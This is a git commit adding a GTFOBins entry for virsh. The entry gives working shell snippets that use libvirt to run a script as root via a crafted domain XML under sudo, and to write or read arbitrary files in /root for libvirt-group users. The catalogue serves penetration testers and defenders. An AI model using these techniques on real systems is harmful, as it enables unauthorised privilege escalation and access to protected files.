Merge branch 'Eblazquez-master'

This commit is contained in:
Emilio Pinna 2021-03-07 14:30:09 +00:00
commit fb7d1dc66e

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_gtfobins/virsh.md Normal file
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functions:
sudo:
- code: |
SCRIPT=script_to_run
TF=$(mktemp)
cat > $TF << EOF
<domain type='kvm'>
<name>x</name>
<os>
<type arch='x86_64'>hvm</type>
</os>
<memory unit='KiB'>1</memory>
<devices>
<interface type='ethernet'>
<script path='$SCRIPT'/>
</interface>
</devices>
</domain>
EOF
sudo virsh -c qemu:///system create $TF
virsh -c qemu:///system destroy x
write:
- description: This requires the user to be in the `libvirt` group. If the target directory doesn't exist `pool-create-as` must be run with the `--build` option. The destination file permissions can be tuned in the XML file.
code: |
LFILE_DIR=/root
LFILE_NAME=file_to_write
echo 'data' > data_to_write
TF=$(mktemp)
cat > $TF <<EOF
<volume type='file'>
<name>y</name>
<key>$LFILE_DIR/$LFILE_NAME</key>
<source>
</source>
<capacity unit='bytes'>5</capacity>
<allocation unit='bytes'>4096</allocation>
<physical unit='bytes'>5</physical>
<target>
<path>$LFILE_DIR/$LFILE_NAME</path>
<format type='raw'/>
<permissions>
<mode>0600</mode>
<owner>0</owner>
<group>0</group>
</permissions>
</target>
</volume>
EOF
virsh -c qemu:///system pool-create-as x dir --target $LFILE_DIR
virsh -c qemu:///system vol-create --pool x --file $TF
virsh -c qemu:///system vol-upload --pool x $LFILE_DIR/$LFILE_NAME data_to_write
virsh -c qemu:///system pool-destroy x
read:
- description: This requires the user to be in the `libvirt` group.
code: |
LFILE_DIR=/root
LFILE_NAME=file_to_read
SPATH=file_to_save
virsh -c qemu:///system pool-create-as x dir --target $LFILE_DIR
virsh -c qemu:///system vol-download --pool x $LFILE_NAME $SPATH
virsh -c qemu:///system pool-destroy x
---